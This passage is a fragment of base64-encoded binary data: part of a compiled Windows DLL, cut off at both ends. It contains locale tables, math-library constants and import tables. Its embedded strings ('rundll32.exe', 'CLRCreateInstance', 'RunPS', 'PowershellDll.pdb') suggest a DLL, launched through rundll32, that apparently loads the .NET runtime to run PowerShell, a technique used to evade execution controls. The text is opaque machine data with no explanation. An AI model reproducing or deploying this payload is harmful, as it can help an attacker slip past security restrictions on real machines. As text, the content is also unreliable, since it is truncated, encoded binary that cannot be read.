kAAABlAG4ALQBOAFoAAABlAHMALQBDAFIAAABmAHIALQBMAFUAAABiAHMALQBCAEEALQBMAGEAdABuAAAAAABzAG0AagAtAFMARQAAAAAAYQByAC0ATQBBAAAAZQBuAC0ASQBFAAAAZQBzAC0AUABBAAAAZgByAC0ATQBDAAAAcwByAC0AQgBBAC0ATABhAHQAbgAAAAAAcwBtAGEALQBOAE8AAAAAAGEAcgAtAFQATgAAAGUAbgAtAFoAQQAAAGUAcwAtAEQATwAAAHMAcgAtAEIAQQAtAEMAeQByAGwAAAAAAHMAbQBhAC0AUwBFAAAAAABhAHIALQBPAE0AAABlAG4ALQBKAE0AAABlAHMALQBWAEUAAABzAG0AcwAtAEYASQAAAAAAYQByAC0AWQBFAAAAZQBuAC0AQwBCAAAAZQBzAC0AQwBPAAAAcwBtAG4ALQBGAEkAAAAAAGEAcgAtAFMAWQAAAGUAbgAtAEIAWgAAAGUAcwAtAFAARQAAAGEAcgAtAEoATwAAAGUAbgAtAFQAVAAAAGUAcwAtAEEAUgAAAGEAcgAtAEwAQgAAAGUAbgAtAFoAVwAAAGUAcwAtAEUAQwAAAGEAcgAtAEsAVwAAAGUAbgAtAFAASAAAAGUAcwAtAEMATAAAAGEAcgAtAEEARQAAAGUAcwAtAFUAWQAAAGEAcgAtAEIASAAAAGUAcwAtAFAAWQAAAGEAcgAtAFEAQQAAAGUAcwAtAEIATwAAAGUAcwAtAFMAVgAAAGUAcwAtAEgATgAAAGUAcwAtAE4ASQAAAGUAcwAtAFAAUgAAAHoAaAAtAEMASABUAAAAAABzAHIAAAAAAOgGARBCAAAAOAYBECwAAAD4FQEQcQAAANAEARAAAAAABBYBENgAAAAQFgEQ2gAAABwWARCxAAAAKBYBEKAAAAA0FgEQjwAAAEAWARDPAAAATBYBENUAAABYFgEQ0gAAAGQWARCpAAAAcBYBELkAAAB8FgEQxAAAAIgWARDcAAAAlBYBEEMAAACgFgEQzAAAAKwWARC/AAAAuBYBEMgAAAAgBgEQKQAAAMQWARCbAAAA3BYBEGsAAADgBQEQIQAAAPQWARBjAAAA2AQBEAEAAAAAFwEQRAAAAAwXARB9AAAAGBcBELcAAADgBAEQAgAAADAXARBFAAAA+AQBEAQAAAA8FwEQRwAAAEgXARCHAAAAAAUBEAUAAABUFwEQSAAAAAgFARAGAAAAYBcBEKIAAABsFwEQkQAAAHgXARBJAAAAhBcBELMAAACQFwEQqwAAAOAGARBBAAAAnBcBEIsAAAAQBQEQBwAAAKwXARBKAAAAGAUBEAgAAAC4FwEQowAAAMQXARDNAAAA0BcBEKwAAADcFwEQyQAAAOgXARCSAAAA9BcBELoAAAAAGAEQxQAAAAwYARC0AAAAGBgBENYAAAAkGAEQ0AAAADAYARBLAAAAPBgBEMAAAABIGAEQ0wAAACAFARAJAAAAVBgBENEAAABgGAEQ3QAAAGwYARDXAAAAeBgBEMoAAACEGAEQtQAAAJAYARDBAAAAnBgBENQAAACoGAEQpAAAALQYARCtAAAAwBgBEN8AAADMGAEQkwAAANgYARDgAAAA5BgBELsAAADwGAEQzgAAAPwYARDhAAAACBkBENsAAAAUGQEQ3gAAACAZARDZAAAALBkBEMYAAADwBQEQIwAAADgZARBlAAAAKAYBECoAAABEGQEQbAAAAAgGARAmAAAAUBkBEGgAAAAoBQEQCgAAAFwZARBMAAAASAYBEC4AAABoGQEQcwAAADAFARALAAAAdBkBEJQAAACAGQEQpQAAAIwZARCuAAAAmBkBEE0AAACkGQEQtgAAALAZARC8AAAAyAYBED4AAAC8GQEQiAAAAJAGARA3AAAAyBkBEH8AAAA4BQEQDAAAANQZARBOAAAAUAYBEC8AAADgGQEQdAAAAJgFARAYAAAA7BkBEK8AAAD4GQEQWgAAAEAFARANAAAABBoBEE8AAAAYBgEQKAAAABAaARBqAAAA0AUBEB8AAAAcGgEQYQAAAEgFARAOAAAAKBoBEFAAAABQBQEQDwAAADQaARCVAAAAQBoBEFEAAABYBQEQEAAAAEwaARBSAAAAQAYBEC0AAABYGgEQcgAAAGAGARAxAAAAZBoBEHgAAACoBgEQOgAAAHAaARCCAAAAYAUBEBEAAADQBgEQPwAAAHwaARCJAAAAjBoBEFMAAABoBgEQMgAAAJgaARB5AAAAAAYBECUAAACkGgEQZwAAAPgFARAkAAAAsBoBEGYAAAC8GgEQjgAAADAGARArAAAAyBoBEG0AAADUGgEQgwAAAMAGARA9AAAA4BoBEIYAAACwBgEQOwAAAOwaARCEAAAAWAYBEDAAAAD4GgEQnQAAAAQbARB3AAAAEBsBEHUAAAAcGwEQVQAAAGgFARASAAAAKBsBEJYAAAA0GwEQVAAAAEAbARCXAAAAcAUBEBMAAABMGwEQjQAAAIgGARA2AAAAWBsBEH4AAAB4BQEQFAAAAGQbARBWAAAAgAUBEBUAAABwGwEQVwAAAHwbARCYAAAAiBsBEIwAAACYGwEQnwAAAKgbARCoAAAAiAUBEBYAAAC4GwEQWAAAAJAFARAXAAAAxBsBEFkAAAC4BgEQPAAAANAbARCFAAAA3BsBEKcAAADoGwEQdgAAAPQbARCcAAAAoAUBEBkAAAAAHAEQWwAAAOgFARAiAAAADBwBEGQAAAAYHAEQvgAAACgcARDDAAAAOBwBELAAAABIHAEQuAAAAFgcARDLAAAAaBwBEMcAAACoBQEQGgAAAHgcARBcAAAA0A4BEOMAAACEHAEQwgAAAJwcARC9AAAAtBwBEKYAAADMHAEQmQAAALAFARAbAAAA5BwBEJoAAADwHAEQXQAAAHAGARAzAAAA/BwBEHoAAADYBgEQQAAAAAgdARCKAAAAmAYBEDgAAAAYHQEQgAAAAKAGARA5AAAAJB0BEIEAAAC4BQEQHAAAADAdARBeAAAAPB0BEG4AAADABQEQHQAAAEgdARBfAAAAgAYBEDUAAABUHQEQfAAAANgFARAgAAAAYB0BEGIAAADIBQEQHgAAAGwdARBgAAAAeAYBEDQAAAB4HQEQngAAAJAdARB7AAAAEAYBECcAAACoHQEQaQAAALQdARBvAAAAwB0BEAMAAADQHQEQ4gAAAOAdARCQAAAA7B0BEKEAAAD4HQEQsgAAAAQeARCqAAAAEB4BEEYAAAAcHgEQcAAAAGEAZgAtAHoAYQAAAGEAcgAtAGEAZQAAAGEAcgAtAGIAaAAAAGEAcgAtAGQAegAAAGEAcgAtAGUAZwAAAGEAcgAtAGkAcQAAAGEAcgAtAGoAbwAAAGEAcgAtAGsAdwAAAGEAcgAtAGwAYgAAAGEAcgAtAGwAeQAAAGEAcgAtAG0AYQAAAGEAcgAtAG8AbQAAAGEAcgAtAHEAYQAAAGEAcgAtAHMAYQAAAGEAcgAtAHMAeQAAAGEAcgAtAHQAbgAAAGEAcgAtAHkAZQAAAGEAegAtAGEAegAtAGMAeQByAGwAAAAAAGEAegAtAGEAegAtAGwAYQB0AG4AAAAAAGIAZQAtAGIAeQAAAGIAZwAtAGIAZwAAAGIAbgAtAGkAbgAAAGIAcwAtAGIAYQAtAGwAYQB0AG4AAAAAAGMAYQAtAGUAcwAAAGMAcwAtAGMAegAAAGMAeQAtAGcAYgAAAGQAYQAtAGQAawAAAGQAZQAtAGEAdAAAAGQAZQAtAGMAaAAAAGQAZQAtAGQAZQAAAGQAZQAtAGwAaQAAAGQAZQAtAGwAdQAAAGQAaQB2AC0AbQB2AAAAAABlAGwALQBnAHIAAABlAG4ALQBhAHUAAABlAG4ALQBiAHoAAABlAG4ALQBjAGEAAABlAG4ALQBjAGIAAABlAG4ALQBnAGIAAABlAG4ALQBpAGUAAABlAG4ALQBqAG0AAABlAG4ALQBuAHoAAABlAG4ALQBwAGgAAABlAG4ALQB0AHQAAABlAG4ALQB1AHMAAABlAG4ALQB6AGEAAABlAG4ALQB6AHcAAABlAHMALQBhAHIAAABlAHMALQBiAG8AAABlAHMALQBjAGwAAABlAHMALQBjAG8AAABlAHMALQBjAHIAAABlAHMALQBkAG8AAABlAHMALQBlAGMAAABlAHMALQBlAHMAAABlAHMALQBnAHQAAABlAHMALQBoAG4AAABlAHMALQBtAHgAAABlAHMALQBuAGkAAABlAHMALQBwAGEAAABlAHMALQBwAGUAAABlAHMALQBwAHIAAABlAHMALQBwAHkAAABlAHMALQBzAHYAAABlAHMALQB1AHkAAABlAHMALQB2AGUAAABlAHQALQBlAGUAAABlAHUALQBlAHMAAABmAGEALQBpAHIAAABmAGkALQBmAGkAAABmAG8ALQBmAG8AAABmAHIALQBiAGUAAABmAHIALQBjAGEAAABmAHIALQBjAGgAAABmAHIALQBmAHIAAABmAHIALQBsAHUAAABmAHIALQBtAGMAAABnAGwALQBlAHMAAABnAHUALQBpAG4AAABoAGUALQBpAGwAAABoAGkALQBpAG4AAABoAHIALQBiAGEAAABoAHIALQBoAHIAAABoAHUALQBoAHUAAABoAHkALQBhAG0AAABpAGQALQBpAGQAAABpAHMALQBpAHMAAABpAHQALQBjAGgAAABpAHQALQBpAHQAAABqAGEALQBqAHAAAABrAGEALQBnAGUAAABrAGsALQBrAHoAAABrAG4ALQBpAG4AAABrAG8AawAtAGkAbgAAAAAAawBvAC0AawByAAAAawB5AC0AawBnAAAAbAB0AC0AbAB0AAAAbAB2AC0AbAB2AAAAbQBpAC0AbgB6AAAAbQBrAC0AbQBrAAAAbQBsAC0AaQBuAAAAbQBuAC0AbQBuAAAAbQByAC0AaQBuAAAAbQBzAC0AYgBuAAAAbQBzAC0AbQB5AAAAbQB0AC0AbQB0AAAAbgBiAC0AbgBvAAAAbgBsAC0AYgBlAAAAbgBsAC0AbgBsAAAAbgBuAC0AbgBvAAAAbgBzAC0AegBhAAAAcABhAC0AaQBuAAAAcABsAC0AcABsAAAAcAB0AC0AYgByAAAAcAB0AC0AcAB0AAAAcQB1AHoALQBiAG8AAAAAAHEAdQB6AC0AZQBjAAAAAABxAHUAegAtAHAAZQAAAAAAcgBvAC0AcgBvAAAAcgB1AC0AcgB1AAAAcwBhAC0AaQBuAAAAcwBlAC0AZgBpAAAAcwBlAC0AbgBvAAAAcwBlAC0AcwBlAAAAcwBrAC0AcwBrAAAAcwBsAC0AcwBpAAAAcwBtAGEALQBuAG8AAAAAAHMAbQBhAC0AcwBlAAAAAABzAG0AagAtAG4AbwAAAAAAcwBtAGoALQBzAGUAAAAAAHMAbQBuAC0AZgBpAAAAAABzAG0AcwAtAGYAaQAAAAAAcwBxAC0AYQBsAAAAcwByAC0AYgBhAC0AYwB5AHIAbAAAAAAAcwByAC0AYgBhAC0AbABhAHQAbgAAAAAAcwByAC0AcwBwAC0AYwB5AHIAbAAAAAAAcwByAC0AcwBwAC0AbABhAHQAbgAAAAAAcwB2AC0AZgBpAAAAcwB2AC0AcwBlAAAAcwB3AC0AawBlAAAAcwB5AHIALQBzAHkAAAAAAHQAYQAtAGkAbgAAAHQAZQAtAGkAbgAAAHQAaAAtAHQAaAAAAHQAbgAtAHoAYQAAAHQAcgAtAHQAcgAAAHQAdAAtAHIAdQAAAHUAawAtAHUAYQAAAHUAcgAtAHAAawAAAHUAegAtAHUAegAtAGMAeQByAGwAAAAAAHUAegAtAHUAegAtAGwAYQB0AG4AAAAAAHYAaQAtAHYAbgAAAHgAaAAtAHoAYQAAAHoAaAAtAGMAaABzAAAAAAB6AGgALQBjAGgAdAAAAAAAegBoAC0AYwBuAAAAegBoAC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IfABAAAAAA/v///wAAAADY////AAAAAP7///+VIgAQqCIAEAAAAADfNQAQAAAAADwzARACAAAASDMBEGQzARAQAAAANJoBEAAAAAD/////AAAAAAwAAADHJAAQAAAAAFCaARAAAAAA/////wAAAAAMAAAALSUAEAAAAADfNQAQAAAAAJAzARADAAAAoDMBEEgzARBkMwEQAAAAAGyaARAAAAAA/////wAAAAAMAAAA+iQAEAAAAAD+////AAAAANj///8AAAAA/v///30uABCGLgAQAAAAAP7///8AAAAA2P///wAAAAD+////rD4AELA+ABAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAAmEAAEAAAAABdQAAQZ0AAEP7///8AAAAAqP///wAAAAD+////AAAAAEQ3ABAAAAAAmTYAEKM2ABBAAAAAAAAAAAAAAADrNwAQ/////wAAAAD/////AAAAAAAAAAAAAAAAAQAAAAEAAABQNAEQIgWTGQIAAABgNAEQAQAAAHA0ARAAAAAAAAAAAAAAAAABAAAA/v///wAAAADQ////AAAAAP7////TPwAQ1z8AEAAAAADfNQAQAAAAANQ0ARACAAAA4DQBEGQzARAAAAAAlJoBEAAAAAD/////AAAAAAwAAACsNQAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAENPABAAAAAA5P///wAAAADU////AAAAAP7///8AAAAAnVIAEAAAAACFUgAQlVIAEP7///8AAAAA1P///wAAAAD+////AAAAAB5ZABAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAb1kAEAAAAADk////AAAAANT///8AAAAA/v///0deABBLXgAQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAHJiABAAAAAA/v///wAAAADY////AAAAAP7///8AAAAAfmEAEAAAAAD+////AAAAANj///8AAAAA/v///wAAAADfYQAQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAACpiABAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAj3cAEAAAAAD+////AAAAANj///8AAAAA/v///wAAAABAcgAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAKJ9ABAAAAAA5P///wAAAAC0////AAAAAP7///8AAAAAooEAEAAAAAD+////AAAAANT///8AAAAA/v///wAAAAD1fgAQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAJmFABAAAAAA/v///wAAAADU////AAAAAP7///8AAAAA9YgAEAAAAAD+////AAAAAMz///8AAAAA/v///wAAAAD/lQAQAAAAAP7///8AAAAAxP///wAAAAD+////AAAAACSZABAAAAAAAAAAAPeYABD+////AAAAAND///8AAAAA/v///wAAAAAAmgAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAHmdABAAAAAA/v///wAAAADM////AAAAAP7///8AAAAAa6QAEAAAAAD+////AAAAAND///8AAAAA/v///wAAAACfqgAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAACe3ABAAAAAA/v///wAAAADY////AAAAAP7////5xQAQDMYAEAAAAAAAAAAA/////wAAAABMOAEAAQAAAAIAAAACAAAAODgBAEA4AQBIOAEAYBkAAHAZAABeOAEAZzgBAAAAAQBQb3dlcnNoZWxsRGxsLmRsbABWb2lkRnVuYwBWb2lkRnVuYzIAAAAAxDgBAAAAAAAAAAAAcDoBAADgAADYOQEAAAAAAAAAAAB+OgEAFOEAAAQ6AQAAAAAAAAAAAJg6AQBA4QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMOgEAIjoBADo6AQBKOgEAXDoBABY/AQAGPwEA9j4BAOg+AQDUPgEAwj4BALI+AQCePgEAkj4BAII+AQCkOgEAtDoBAMo6AQDgOgEA7DoBAAg7AQAmOwEAOjsBAE47AQBqOwEAhDsBAJo7AQCwOwEAyjsBAOA7AQD0OwEABjwBABI8AQAkPAEAPDwBAEw8AQBcPAEAdDwBAIw8AQCkPAEAzDwBANg8AQDmPAEA9DwBAP48AQAMPQEAHj0BACw9AQBCPQEATj0BAFo9AQBqPQEAdj0BAIo9AQCaPQEArD0BALY9AQDCPQEAzj0BAOA9AQDyPQEADD4BACY+AQA4PgEASD4BAFY+AQBoPgEAdD4BAAAAAAAQAACACAAAgBYAAIAGAACAAgAAgBoAAIAPAACAmwEAgAkAAIAVAACAAAAAAIw6AQAAAAAAEwJHZXRNb2R1bGVGaWxlTmFtZUEAAOsCSW50ZXJsb2NrZWREZWNyZW1lbnQAAD8DTG9hZExpYnJhcnlXAABFAkdldFByb2NBZGRyZXNzAAAYAkdldE1vZHVsZUhhbmRsZVcAAEtFUk5FTDMyLmRsbAAAT0xFQVVUMzIuZGxsAABEAVN0clN0cklBAABTSExXQVBJLmRsbAACAkdldExhc3RFcnJvcgAAZwNNdWx0aUJ5dGVUb1dpZGVDaGFyABEFV2lkZUNoYXJUb011bHRpQnl0ZQBIA0xvY2FsRnJlZQDTBFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAApQRTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAwAFHZXRDdXJyZW50UHJvY2VzcwDABFRlcm1pbmF0ZVByb2Nlc3MAAAQDSXNQcm9jZXNzb3JGZWF0dXJlUHJlc2VudACnA1F1ZXJ5UGVyZm9ybWFuY2VDb3VudGVyAMEBR2V0Q3VycmVudFByb2N